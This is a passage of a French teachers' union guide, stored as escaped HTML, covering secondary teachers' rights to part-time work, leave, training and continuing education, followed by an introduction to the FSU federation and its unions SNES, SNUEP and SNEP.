doivent participer \u00e0 l\u2019inter : ils b\u00e9n\u00e9ficient d\u2019une bonification sur le v\u0153u correspondant \u00e0 l\u2019acad\u00e9mie dans laquelle ils \u00e9taient titulaires.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>L\u2019obtention de cette bonification n\u00e9cessite une formulation des v\u0153ux tr\u00e8s pr\u00e9cise selon les diff\u00e9rents cas de figure. Prendre contact avec les commissaires paritaires nationaux.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-43\"><\/a><em>PUIS-JE EXERCER DANS LA FONCTION PUBLIQUE Hors du second degr\u00e9 ?<\/em><\/h3>\n<p>Un fonctionnaire peut \u00eatre employ\u00e9 momentan\u00e9ment par une autre administration ou collectivit\u00e9 territoriale et exercer d\u2019autres fonctions que celles pour lesquelles il a \u00e9t\u00e9 recrut\u00e9, tout en continuant \u00e0 appartenir \u00e0 son corps d\u2019origine ; il est alors mis en position de d\u00e9tachement (par exemple pour exercer \u00e0 l\u2019\u00e9tranger : minist\u00e8re des Affaires \u00e9trang\u00e8res).<\/p>\n<p>Il existe aussi des possibilit\u00e9s d\u2019affectation sur poste de second degr\u00e9 dans le sup\u00e9rieur (universit\u00e9, IUT) ou de d\u00e9tachement sur emploi d\u2019ATER (attach\u00e9 temporaire d\u2019enseignement et de recherche). Chaque ann\u00e9e, les postes de second degr\u00e9 vacants dans le sup\u00e9rieur sont publi\u00e9s via la plate-forme Galaxie : <a href=\"http:\/\/www.galaxie.enseignementsup-recherche.gouv.fr\/ensup\/cand_ postes_GALAXIE.htm\">www.galaxie.enseignementsup-recherche.gouv.fr\/ensup\/cand_ postes_GALAXIE.htm<\/a>, site du minist\u00e8re de l\u2019Enseignement sup\u00e9rieur et de la Recherche pour les enseignants-chercheurs et les enseignements du second degr\u00e9. La publication se fait en septembre-octobre. Les candidats doivent alors constituer un dossier selon les modalit\u00e9s indiqu\u00e9es lors de la publication.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-44\"><\/a><em>Puis-je demander un service \u00e0 temps partiel ?<\/em><\/h3>\n<p>Oui, \u00e0 l\u2019issue de l\u2019intra, les services rectoraux informent les nouveaux \u00adarrivants de cette possibilit\u00e9. Faites-en la demande aupr\u00e8s du rectorat d\u2019arriv\u00e9e. Dans quelques situations, le rectorat peut vous proposer de moduler la quotit\u00e9 initiale demand\u00e9e mais elle ne peut en aucune fa\u00e7on \u00eatre inf\u00e9rieure \u00e0 50\u00a0% de vos obligations r\u00e9glementaires de service.<\/p>\n<p>Il est possible de demander que le temps partiel soit annualis\u00e9. Vous \u00adtravaillez alors une partie de l\u2019ann\u00e9e \u00e0 temps plein et \u00eates totalement lib\u00e9r\u00e9 pour l\u2019autre partie. Vous \u00eates pay\u00e9 selon la quotit\u00e9 attribu\u00e9e sur l\u2019ensemble de l\u2019ann\u00e9e scolaire.<\/p>\n<p>Le temps partiel est de droit pour \u00e9lever un enfant de moins de 3 ans.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Envoyez un double de votre demande au SNES-FSU, SNEP-FSU ou SNUEP-FSU de votre acad\u00e9mie.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-45\"><\/a><em>Obtenir un cong\u00e9 ou une disponibilit\u00e9 :<\/em> comment faire ?<\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">Ai-je des chances d\u2019obtenir une disponibilit\u00e9 ?<\/h4>\n<p class=\"has-vivid-red-color has-text-color\">\u2022 Elle est de droit pour :<\/p>\n<p>\u2014 \u00e9lever un enfant de moins de huit ans ou pour donner des soins \u00e0 un enfant \u00e0 charge, au conjoint, au partenaire avec lequel le fonctionnaire est li\u00e9 par un pacte civil de solidarit\u00e9 (PACS), \u00e0 un ascendant \u00e0 la suite d\u2019un accident ou d\u2019une maladie grave ou atteint d\u2019un handicap n\u00e9cessitant la pr\u00e9sence d\u2019une tierce personne : dur\u00e9e de trois ans maximum renouvelable si les conditions requises pour obtenir la mise en disponibilit\u00e9 sont r\u00e9unies ;<\/p>\n<p>\u2014 suivre son conjoint.<\/p>\n<p>\u2014 exercer un mandat d\u2019\u00e9lu local : dur\u00e9e correspondant \u00e0 celle du mandat ;<\/p>\n<p>\u2014 se rendre dans les d\u00e9partements d\u2019outre-mer, les collectivit\u00e9s d\u2019outre-mer, en Nouvelle-Cal\u00e9donie ou \u00e0 l\u2019\u00e9tranger en vue de l\u2019adoption d\u2019un ou de plusieurs enfants, sous r\u00e9serve d\u2019\u00eatre titulaire de l\u2019agr\u00e9ment mentionn\u00e9 aux articles L. 225-2 et L. 225-12 du code de l\u2019action sociale et des familles : dur\u00e9e maximum de six semaines par agr\u00e9ment.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">\u2022 Elle peut \u00eatre accord\u00e9e par le recteur pour :<\/p>\n<p>\u2014 \u00e9tudes ou recherches pr\u00e9sentant un int\u00e9r\u00eat g\u00e9n\u00e9ral : dur\u00e9e de trois ans maximum, renouvelable une fois pour une dur\u00e9e \u00e9gale ;<\/p>\n<p>\u2014 convenances personnelles : dur\u00e9e de trois ans maximum renouvelable, sans que la dur\u00e9e totale ne puisse exc\u00e9der dix ann\u00e9es pour l\u2019ensemble de la carri\u00e8re ;<\/p>\n<p>\u2014 cr\u00e9er ou reprendre une entreprise : dur\u00e9e de deux ans maximum.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">\u2022 Elle est attribu\u00e9e d\u2019office : apr\u00e8s \u00e9puisement des droits \u00e0 cong\u00e9s de maladie. Un an, renouvelable deux fois (ou trois sur avis du comit\u00e9 m\u00e9dical).<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">N.B. Les disponibilit\u00e9s, sauf pour exercer dans une entreprise, d\u00e9pendent des recteurs. Il faut donc vous adresser d\u00e8s les r\u00e9sultats de la phase \u00ab\u00a0inter\u00a0\u00bb du mouvement au recteur de l\u2019acad\u00e9mie dans laquelle vous \u00eates affect\u00e9(e) pour d\u00e9poser une demande. Prenez contact \u00e9galement avec la section acad\u00e9mique du SNES-FSU, SNEP-FSU ou SNUEP-FSU. Le fonctionnaire en disponibilit\u00e9 cesse de b\u00e9n\u00e9ficier de sa r\u00e9mun\u00e9ration, de ses droits \u00e0 l\u2019avancement et \u00e0 la retraite. La disponibilit\u00e9 entra\u00eene la perte du poste occup\u00e9 jusqu\u2019alors ou obtenu lors de la phase intra-acad\u00e9mique.<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">N.B. La loi d\u2019orientation de 1989 avait cr\u00e9\u00e9 un cong\u00e9 mobilit\u00e9 qui permettait d\u2019\u00eatre r\u00e9mun\u00e9r\u00e9 \u00e0 plein traitement pendant un an \u00e0 condition de justifier de 10 ann\u00e9es de service effectif. Il n\u2019est plus financ\u00e9. Nous en demandons le r\u00e9tablissement.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Et la non-activit\u00e9 pour \u00e9tudes ou \u00ab\u00a0cong\u00e9 pour \u00e9tudes\u00a0\u00bb ?<\/h4>\n<p>Ce cong\u00e9, non r\u00e9mun\u00e9r\u00e9, peut \u00eatre accord\u00e9 pour la poursuite d\u2019\u00e9tudes dans la discipline (agr\u00e9gation, master, doctorat). Il implique le versement de la cotisation pour la retraite aff\u00e9rente \u00e0 l\u2019indice de traitement acquis avant son d\u00e9but. La demande doit \u00eatre adress\u00e9e au recteur apr\u00e8s la phase interacad\u00e9mique au moment de la formulation des v\u0153ux intra-acad\u00e9miques.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Puis-je demander un cong\u00e9 de formation professionnelle ?<\/h4>\n<p>Ce cong\u00e9 peut \u00eatre demand\u00e9 pour pr\u00e9parer l\u2019agr\u00e9gation ou suivre tout type de formation. Mais le nombre en est \u00e9troitement contingent\u00e9 dans chaque acad\u00e9mie.<\/p>\n<p>\u2022 Les postulants doivent \u00eatre titulaires au moment de la demande, avoir accompli au moins trois ann\u00e9es de services effectifs en qualit\u00e9 de titulaire, de stagiaire ou de non-titulaire, s\u2019engager \u00e0 rester au service de \u00adl\u2019\u00c9tat pendant une dur\u00e9e \u00e9gale au triple de celle pendant laquelle ils auront per\u00e7u l\u2019indemnit\u00e9.<\/p>\n<p>\u2022 La dur\u00e9e du cong\u00e9 est au maximum de trois ans, pour toute la carri\u00e8re, dont douze mois indemnis\u00e9s forfaitairement \u00e0 85\u00a0% du traitement brut et de l\u2019indemnit\u00e9 de r\u00e9sidence per\u00e7us effectivement au moment de la mise en cong\u00e9, avec un plafond correspondant \u00e0 l\u2019indice brut 650. Les prestations familiales sont conserv\u00e9es, ainsi que le suppl\u00e9ment familial. Les cotisations retraites sont maintenues (7,85\u00a0% du traitement brut per\u00e7u au moment de la mise en cong\u00e9) ainsi que les cotisations sociales et MGEN.<\/p>\n<p>\u2022 L\u2019indemnit\u00e9 est vers\u00e9e mensuellement par le service g\u00e9rant le traitement au moment de la mise en cong\u00e9. Ce versement est soumis \u00e0 la production d\u2019une attestation mensuelle de pr\u00e9sence \u00e0 la formation.<\/p>\n<p>\u2022 Les personnels en cong\u00e9 sont en position d\u2019activit\u00e9. Ils continuent \u00e0 accumuler de l\u2019anciennet\u00e9 pour les promotions et la retraite.<\/p>\n<p>\u2022 \u00c0 l\u2019issue de la premi\u00e8re ann\u00e9e de cong\u00e9, le retour sur le poste, dans l\u2019\u00c9ducation nationale, est de droit. Jusqu\u2019\u00e0 maintenant, la pratique est, que les enseignants du second degr\u00e9 conservent leur affectation mais cela peut varier en fonction de l\u2019acad\u00e9mie.<\/p>\n<p>\u2022 Les demandes doivent \u00eatre adress\u00e9es au recteur par la voie hi\u00e9rarchique \u00e0 une date arr\u00eat\u00e9e dans chaque acad\u00e9mie.<\/p>\n<p>Attention, les pratiques diff\u00e8rent selon les acad\u00e9mies (nombre de mois, fractionnement, etc.) : prenez contact avec nos sections acad\u00e9miques.<\/p>\n<p>\u2022 En th\u00e9orie, l\u2019obtention d\u2019un cong\u00e9 formation annule une demande de mutation interacad\u00e9mique. Informez-vous aupr\u00e8s de nos sections \u00adacad\u00e9miques.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>N\u2019h\u00e9sitez pas \u00e0 faire appel \u00e0 vos sections acad\u00e9miques pour tout renseignement compl\u00e9mentaire sur vos droits en ce domaine, les modalit\u00e9s de calcul\u2026<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Si je suis en disponibilit\u00e9 ou en cong\u00e9 pour \u00e9tudes, comment serai-je r\u00e9int\u00e9gr\u00e9 ?<\/h4>\n<p>Vous pourrez participer au mouvement inter si vous souhaitez changer d\u2019acad\u00e9mie. Sinon, vous devez participer \u00e0 l\u2019intra de l\u2019acad\u00e9mie obtenue \u00e0 l\u2019inter avant mise en disponibilit\u00e9 ou cong\u00e9 de non-activit\u00e9.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-46\"><\/a><em>S\u2019inscrire \u00e0 des stages de formation continue<\/em><\/h3>\n<p>Nous sommes face \u00e0 un paradoxe : tout le monde en souligne l\u2019importance, la n\u00e9cessit\u00e9, mais l\u2019offre ne cesse de se r\u00e9duire. \u00ab\u00a0La formation tout au long de la vie\u00a0\u00bb est au centre des discours minist\u00e9riels, au centre des travaux europ\u00e9ens. Incontournable pour pr\u00e9parer l\u2019avenir de l\u2019ensemble des professions, elle est en r\u00e9gression dans nos m\u00e9tiers ; budget de mis\u00e8re, droits remis en cause, formation rapide, pilotage hi\u00e9rarchique, assujettissement aux besoins imm\u00e9diats de l\u2019institution, d\u00e9couragement des personnels qui s\u2019en d\u00e9tournent.<\/p>\n<p>Pourtant la formation continue est incontournable. Les \u00e9volutions du monde, de la soci\u00e9t\u00e9, des savoirs requi\u00e8rent une formation initiale renforc\u00e9e, un accompagnement lors de l\u2019entr\u00e9e dans le m\u00e9tier et de v\u00e9ritables possibilit\u00e9s de formation tout au long de la carri\u00e8re. Il faut investir ce terrain pour les personnels et pour la qualit\u00e9 du service public. La formation continue est un droit.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Quelles possibilit\u00e9s dans l\u2019\u00e9ducation nationale ?<\/h4>\n<p>La formation continue est un droit (loi de 1971), sans cesse remis en cause, en particulier par les chefs d\u2019\u00e9tablissement qui exercent des pressions sur les coll\u00e8gues. Un coup particuli\u00e8rement grave a \u00e9t\u00e9 port\u00e9 par la loi Fillon : la formation continue \u00ab\u00a0s\u2019accomplit en priorit\u00e9 en dehors des obligations de service d\u2019enseignement \u00bb. Elle peut donner lieu \u00e0 une indemnisation lorsqu\u2019elle correspond \u00e0 un projet personnel concourant \u00e0 l\u2019am\u00e9lioration des enseignements et approuv\u00e9 par le recteur. Par ailleurs, la formation continue est d\u00e9sormais prise en compte dans la gestion de la carri\u00e8re mais on ne se soucie nullement de savoir si chacun peut effectivement partir en stage et si l\u2019offre de formation correspond effectivement aux attentes.<\/p>\n<p>\u2022 Des stages organis\u00e9s dans le cadre du plan acad\u00e9mique de formation (PAF) : publi\u00e9 chaque ann\u00e9e, il pr\u00e9sente des stages \u00e0 dur\u00e9e limit\u00e9e et l\u2019enseignant peut postuler pour un certain nombre d\u2019entre eux. Modalit\u00e9s d\u2019inscription, contenu des stages varient d\u2019une acad\u00e9mie \u00e0 l\u2019autre. Le PAF est disponible dans chaque \u00e9tablissement, d\u00e8s le mois de mai g\u00e9n\u00e9ralement. Dans la plupart des acad\u00e9mies, on peut s\u2019inscrire \u00e0 nouveau au cours du 1er trimestre, c\u2019est-\u00e0-dire \u00e0 la rentr\u00e9e de septembre. Renseignez-vous aupr\u00e8s de la section acad\u00e9mique. Ne pas h\u00e9siter \u00e0 en faire la demande.<\/p>\n<p>\u2022 Des universit\u00e9s d\u2019\u00e9t\u00e9 agr\u00e9\u00e9es sont organis\u00e9es et donc subventionn\u00e9es par l\u2019\u00c9ducation nationale. La liste para\u00eet en g\u00e9n\u00e9ral dans un BO du mois de mars. L\u2019animation peut \u00eatre confi\u00e9e \u00e0 des groupes p\u00e9dagogiques divers.<\/p>\n<p>\u2022 Des stages organis\u00e9s dans le cadre d\u2019un plan national de formation.<\/p>\n<p>Ils sont r\u00e9serv\u00e9s \u00e0 un public cibl\u00e9, essentiellement constitu\u00e9 de formateurs, mais des places peuvent \u00eatre laiss\u00e9es \u00e0 des professeurs.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>La loi Fillon, affirme un droit \u00e0 20 heures de for\u00admation annuelle. C\u2019est in\u00adsuf\u00adfisant mais exigeons au moins que ce droit soit respect\u00e9.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">En dehors de l\u2019Institution \u00c9ducation Nationale<\/h4>\n<p>Nos organisations syndicales proposent des stages (acad\u00e9miques ou nationaux) couvrant l\u2019ensemble des champs de nos m\u00e9tiers. Ces stages sont annonc\u00e9s soit par voie de publications, soit sur les sites. Rappelons qu\u2019aux termes des lois du 11\/01\/1984 et du 23\/11\/1982, chaque fonctionnaire en activit\u00e9 a individuellement droit \u00e0 un cong\u00e9 d\u2019une dur\u00e9e maximale de douze jours ouvrables par an.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Pour en avoir connaissance, contactez nos sections acad\u00e9miques.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Par ailleurs des organismes font des actions de formation, publient des revues\u2026 S\u2019adresser directement \u00e0 eux. \u00c0 titre d\u2019exemples :<\/p>\n<p>\u2022 les associations dites \u00ab\u00a0de sp\u00e9cialistes\u00a0\u00bb regroupent les professeurs par discipline ;<\/p>\n<p>\u2022 les mouvements dits \u00ab\u00a0p\u00e9dagogiques\u00a0\u00bb militent pour certaines formes d\u2019activit\u00e9s, de pratiques p\u00e9dagogiques. Entre autres : le Groupe fran\u00e7ais d\u2019\u00e9ducation nouvelle (GFEN), l\u2019Institut coop\u00e9ratif de l\u2019\u00c9cole moderne (ICEM, dit Freinet), le Centre d\u2019entra\u00eenement aux m\u00e9thodes d\u2019\u00e9ducation active (CEMEA), les Centres de recherche et d\u2019action p\u00e9dagogique (CRAP), l\u2019Office central de coop\u00e9ration \u00e0 l\u2019\u00e9cole (OCCE), la F\u00e9d\u00e9ration des \u0153uvres \u00e9ducatives et des vacances de l\u2019\u00c9ducation nationale (FOEVEN), la Ligue de l\u2019enseignement et de l\u2019\u00e9ducation permanente\u2026<\/p>\n<h2><a name=\"menu-47\"><\/a><strong>Chapitre 8 \u2013 Des syndicats d\u2019actions et de propositions<\/strong><\/h2>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-48\"><\/a><em>Des syndicats membres de la premi\u00e8re f\u00e9d\u00e9ration de l\u2019\u00c9ducation : la FSU<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">Quels syndicats ?<\/h4>\n<p>La F\u00e9d\u00e9ration Syndicale Unitaire regroupe diff\u00e9rents syndicats de m\u00e9tiers dans l\u2019\u00c9ducation nationale (dans le premier degr\u00e9 le SNUIPP, dans le second degr\u00e9 le SNES pour les enseignements g\u00e9n\u00e9raux et technologiques, le SNEP pour l\u2019\u00e9ducation physique, le SNUEP pour les enseignements professionnels\u2026) et de la Fonction publique. Premi\u00e8re f\u00e9d\u00e9ration syndicale au sein du minist\u00e8re de l\u2019\u00c9ducation nationale, deuxi\u00e8me dans la Fonction publique, la FSU est l\u2019un des principaux acteurs des mouvements sociaux depuis sa fondation en 1993. Elle est pr\u00e9sente dans les trois fonctions publiques : \u00c9tat, territoriale et hospitali\u00e8re. Elle compte 163 000 adh\u00e9rent-e-s.<\/p>\n<figure class=\"wp-block-table\">\n<table>\n<tbody>\n<tr>\n<td><a href=\"https:\/\/fsu.fr\/les-syndicats-fsu\/les-syndicats-nationaux\/Syndicat T\u00e9l\u00e9phone\">https:\/\/fsu.fr\/les-syndicats-fsu\/les-syndicats-nationaux\/Syndicat T\u00e9l\u00e9phone <\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Quel f\u00e9d\u00e9ralisme ?<\/h4>\n<p>La FSU a toujours cherch\u00e9 \u00e0 construire un nouveau f\u00e9d\u00e9ralisme fond\u00e9 sur :<\/p>\n<p>\u2022 la recherche des convergences et la construction d\u2019orientations communes ;<\/p>\n<p>\u2022 le principe du pluralisme et de la repr\u00e9sentation de la diversit\u00e9 des sensibilit\u00e9s dans les instances \u00e0 tous les niveaux ;<\/p>\n<p>\u2022 le refus de toute h\u00e9g\u00e9monie d\u2019un syndicat, ou d\u2019une tendance, m\u00eame s\u2019ils sont majoritaires ;<\/p>\n<p>\u2022 la garantie pour les syndicats nationaux de voir leurs int\u00e9r\u00eats pris en compte, quelle que soit leur taille ;<\/p>\n<p>\u2022 le principe de l\u2019unit\u00e9.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Un syndicalisme unitaire, d\u00e9mocratique, ind\u00e9pendant et pluraliste<\/h4>\n<p>La F\u00e9d\u00e9ration promeut un syndicalisme unitaire, d\u00e9mocratique, ind\u00e9pendant et pluraliste, au service des aspirations et des revendications des personnels qu\u2019elle regroupe. Elle \u0153uvre en faveur de choix \u00e9ducatifs, \u00e9conomiques et sociaux de justice, d\u2019\u00e9galit\u00e9, de solidarit\u00e9, de la\u00efcit\u00e9 et de d\u00e9mocratie. Elle contribue \u00e0 la d\u00e9fense et \u00e0 la promotion des Droits de l\u2019Homme. Elle favorise le d\u00e9veloppement du r\u00f4le et de la place des femmes dans la soci\u00e9t\u00e9. Elle agit pour ces objectifs en France, en Europe et dans le monde. Elle favorise la coop\u00e9ration et la solidarit\u00e9 syndicales internationales, notamment avec les pays les plus pauvres.<\/p>\n<p>La F\u00e9d\u00e9ration donne la primaut\u00e9 au dialogue et \u00e0 l\u2019\u00e9coute mutuelle. Elle a en permanence le souci de d\u00e9battre avec l\u2019ensemble des personnels, de d\u00e9fendre avec force leurs revendications et d\u2019\u00e9laborer des propositions afin de construire des alternatives aux politiques actuelles. Elle associe l\u2019ensemble des syndiqu\u00e9s au d\u00e9bat et \u00e0 la vie de la F\u00e9d\u00e9ration. Ainsi, elle favorise l\u2019\u00e9mergence d\u2019un v\u00e9ritable point de vue f\u00e9d\u00e9ral dans lequel chacun peut se reconna\u00eetre.<\/p>\n<p>La FSU a pour objectif de promouvoir :<\/p>\n<p>\u2022 l\u2019\u00e9tude et la d\u00e9fense des int\u00e9r\u00eats mat\u00e9riels et moraux des personnels actifs et retrait\u00e9s ;<\/p>\n<p>\u2022 l\u2019entente et le rapprochement des diverses cat\u00e9gories.<\/p>\n<p>La FSU d\u00e9fend les valeurs de d\u00e9mocratie, de la\u00efcit\u00e9 dans tous leurs aspects et toutes leurs dimensions, de justice, d\u2019\u00e9galit\u00e9, de solidarit\u00e9.<\/p>\n<p>La FSU \u0153uvre :<\/p>\n<p>\u2022 \u00e0 la d\u00e9mocratisation du syst\u00e8me \u00e9ducatif afin de garantir la r\u00e9ussite de tous les jeunes de la maternelle \u00e0 l\u2019universit\u00e9, la recherche comme la formation permanente devant \u00eatre au c\u0153ur de ces enjeux ;<\/p>\n<p>\u2022 au renforcement, au d\u00e9veloppement et \u00e0 la d\u00e9fense du r\u00f4le de la Fonction publique et des services publics qui jouent un r\u00f4le majeur de coh\u00e9sion sociale et d\u2019\u00e9galit\u00e9 entre les citoyens ;<\/p>\n<p>\u2022 \u00e0 une r\u00e9elle politique sociale, garantissant une protection sociale de haut niveau pour tous ; \u00e0 une politique ambitieuse des salaires, des pensions et de l\u2019emploi ;<\/p>\n<p>\u2022 \u00e0 la pr\u00e9servation des libert\u00e9s individuelles et collectives en France et dans le monde, pour les droits et libert\u00e9s, les Droits de l\u2019Homme, la paix et le d\u00e9sarmement, contre les exclusions, le racisme, la x\u00e9nophobie, le sexisme et les discriminations de toute nature ;<\/p>\n<p>\u2022 \u00e0 la prise en compte de questions de soci\u00e9t\u00e9 majeures comme le d\u00e9veloppement durable, la lutte pour le respect et l\u2019extension des droits syndicaux, des garanties et les libert\u00e9s professionnelles, des droits sociaux ;<\/p>\n<p>\u2022 \u00e0 la recherche de convergences avec les autres organisations syndicales pour \u00e9changer, d\u00e9battre et mener des actions unitaires ;<\/p>\n<p>\u2022 au partenariat avec le mouvement associatif afin de cr\u00e9er des espaces d\u2019\u00e9change, de r\u00e9flexion et \u00e9laborer des initiatives communes.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-49\"><\/a><em>Nos syndicats en bref<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">Pour qui ?<\/h4>\n<h4 class=\"has-vivid-red-color has-text-color\">Le SNES<\/h4>\n<p>Fond\u00e9 \u00e0 la Lib\u00e9ration, le Syndicat national de l\u2019enseignement secondaire \u00e9largit peu \u00e0 peu son p\u00e9rim\u00e8tre et devient, en 1966, le Syndicat national des enseignements du second degr\u00e9. Soutenant la mont\u00e9e en puissance du second degr\u00e9, le SNES s\u2019est toujours r\u00e9solument battu pour son unification, et son ouverture \u00e0 tous les enfants d\u2019une classe d\u2019\u00e2ge. Il d\u00e9fend l\u2019id\u00e9e qu\u2019enseigner en coll\u00e8ge et en lyc\u00e9e est un m\u00eame m\u00e9tier.<\/p>\n<p>L\u2019organisation interne du SNES, qui pr\u00e9voit la repr\u00e9sentation dans ses instances de toutes les cat\u00e9gories, fait du SNES le syndicat des professeurs, des CPE, des Psy-\u00c9N, des AESH et des AED dans les coll\u00e8ges et les LEGT, que ces personnels soient titulaires ou non. Les statuts du syndicat instituent le droit de tendances, assurant en son sein le pluralisme, \u00e0 l\u2019image de la profession.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le SNUEP<\/h4>\n<p>Seul syndicat sp\u00e9cifique des professeurs de lyc\u00e9e professionnel, le SNUEP-FSU est un syndicat pluraliste, ind\u00e9pendant et soucieux en permanence de l\u2019unit\u00e9 des personnels. Il regroupe les PLP et les CPE des LP que ces personnels soient titulaires ou non.<\/p>\n<p>Il assure la d\u00e9fense collective de nos statuts, de nos conditions de travail et de la formation des jeunes, de nos int\u00e9r\u00eats de fonctionnaire et de salari\u00e9, de la qualit\u00e9 et de la la\u00efcit\u00e9 du service public d\u2019\u00e9ducation et de formation.<\/p>\n<p>Il d\u00e9nonce toute mise en concurrence et refuse toute privatisation. Les services publics, dont la formation professionnelle, facteur essentiel de coh\u00e9sion, doivent garantir \u00e0 tous les individus \u2014 quels que soient l\u2019\u00e2ge, le sexe, l\u2019origine, la situation sociale et l\u2019implantation g\u00e9ographique \u2014, les m\u00eames acc\u00e8s et les m\u00eames droits. Nous r\u00e9affirmons aussi notre attachement \u00e0 la la\u00efcit\u00e9.<\/p>\n<p>Le SNUEP-FSU s\u2019oppose aux contre-r\u00e9formes (Blanquer 2019, bac pro 3 ans, bac pro GA), au tout CCF et au d\u00e9veloppement de l\u2019apprentissage qui ne font qu\u2019accro\u00eetre la fracture sociale et les in\u00e9galit\u00e9s en d\u00e9gradant les conditions de travail. Il milite pour l\u2019am\u00e9lioration de ces derni\u00e8res et refuse la casse du statut.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le SNEP<\/h4>\n<p>Syndicat disciplinaire, il a vu le jour en d\u00e9cembre 1944. Son action a toujours pris en compte, de mani\u00e8re indissociable, la d\u00e9fense et la promotion de la discipline ainsi que la d\u00e9fense des personnels. Depuis sa cr\u00e9ation, il a impuls\u00e9 et organis\u00e9 toutes les luttes de la profession qui jalonnent l\u2019histoire de l\u2019enseignement de l\u2019EPS, du sport scolaire et universitaire : batailles pour la reconnaissance de la discipline au sein du syst\u00e8me \u00e9ducatif, pour son int\u00e9gration \u00e0 l\u2019\u00c9ducation nationale, son int\u00e9gration universitaire, pour la d\u00e9fense et le d\u00e9veloppement du sport scolaire et universitaire, contre les tentatives r\u00e9p\u00e9t\u00e9es de d\u00e9naturation, de marginalisation, de d\u00e9scolarisation.<\/p>\n<p>Progressivement multicat\u00e9goriel : au d\u00e9but, il ne syndique que les professeurs EPS et les ma\u00eetres auxiliaires puis, \u00e0 mesure de leur apparition, les adjoints d\u2019enseignement, les agr\u00e9g\u00e9s, les professeurs de sport. Depuis son exclusion de la FEN en 1993, il syndique toutes les cat\u00e9gories d\u2019enseignant d\u2019EPS titulaires et stagiaires (professeurs d\u2019EPS, CE d\u2019EPS, agr\u00e9g\u00e9s, PCEA-EPS) et non-titulaires (MA, contractuels, vacataires) ainsi que les professeurs de sport et les CTPS.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Un syndicalisme de terrain<\/h4>\n<p>Notre originalit\u00e9 et notre force est notre organisation structur\u00e9e dans les coll\u00e8ges et les lyc\u00e9es.<\/p>\n<p>Dans presque chaque \u00e9tablissement, une section syndicale (S1) anime la vie syndicale et peut-\u00eatre compos\u00e9e de syndiqu\u00e9s du SNES et du SNEP dans les coll\u00e8ges et LEGT ou du SNUEP, du SNES et du SNEP dans les LP. Premier lieu de rencontre et de discussion des personnels, autonome et responsable, le S1 est notre lien avec la profession. Les sections \u00add\u00e9partementales (S2) aident les S1, animent \u00e0 leur demande des heures d\u2019information syndicales, interviennent aupr\u00e8s des autorit\u00e9s de tutelle (Inspection d\u2019acad\u00e9mie, Conseil g\u00e9n\u00e9ral)\u2026 Dans tous les d\u00e9partements, chacun de nos syndicats dispose d\u2019une section d\u00e9partementale.<\/p>\n<p>La section acad\u00e9mique (S3) est l\u2019interlocuteur du rectorat (sur les questions d\u2019emploi et de politique scolaire) et de la R\u00e9gion. Les instances \u00e9lues du S3 d\u00e9cident de son orientation. Nous avons chacun une section acad\u00e9mique par syndicat et acad\u00e9mie.<\/p>\n<p>La section nationale (S4) est l\u2019interlocuteur du minist\u00e8re et d\u00e9cide nos orientations respectives. Nous avons chacun une section nationale.<\/p>\n<p>Certains de nos militants sont d\u00e9charg\u00e9s d\u2019une partie de leur service pour exercer leurs responsabilit\u00e9s, d\u2019autres non\u2026 mais tous exercent leur m\u00e9tier, personne n\u2019est d\u00e9charg\u00e9 totalement : ils sont vos \u00adcoll\u00e8gues !<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Un syndicalisme repr\u00e9sentatif<\/h4>\n<p>Les \u00e9lections professionnelles sont des \u00e9lections \u00e0 un seul tour, qui ont lieu tous les 4 ans pour \u00e9lire les repr\u00e9sentants des personnels dans les instances paritaires et comit\u00e9s techniques.<\/p>\n<p>Les \u00e9lections professionnelles de 2018 ont confirm\u00e9 la premi\u00e8re place de la FSU chez les enseignants, CPE et Psy-\u00c9N.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">La FSU<\/h4>\n<p>Avec 35\u00a0% au comit\u00e9 technique minist\u00e9riel (CTM) charg\u00e9 de l\u2019\u00c9ducation nationale, la FSU est confort\u00e9e dans sa place de f\u00e9d\u00e9ration majoritaire de l\u2019\u00c9ducation nationale. L\u2019appartenance de nos syndicats \u00e0 la FSU nous permet de porter nos revendications dans toutes les instances et ainsi de peser sur les questions relatives aux statuts ou aux salaires mais aussi de d\u00e9fendre et de promouvoir nos 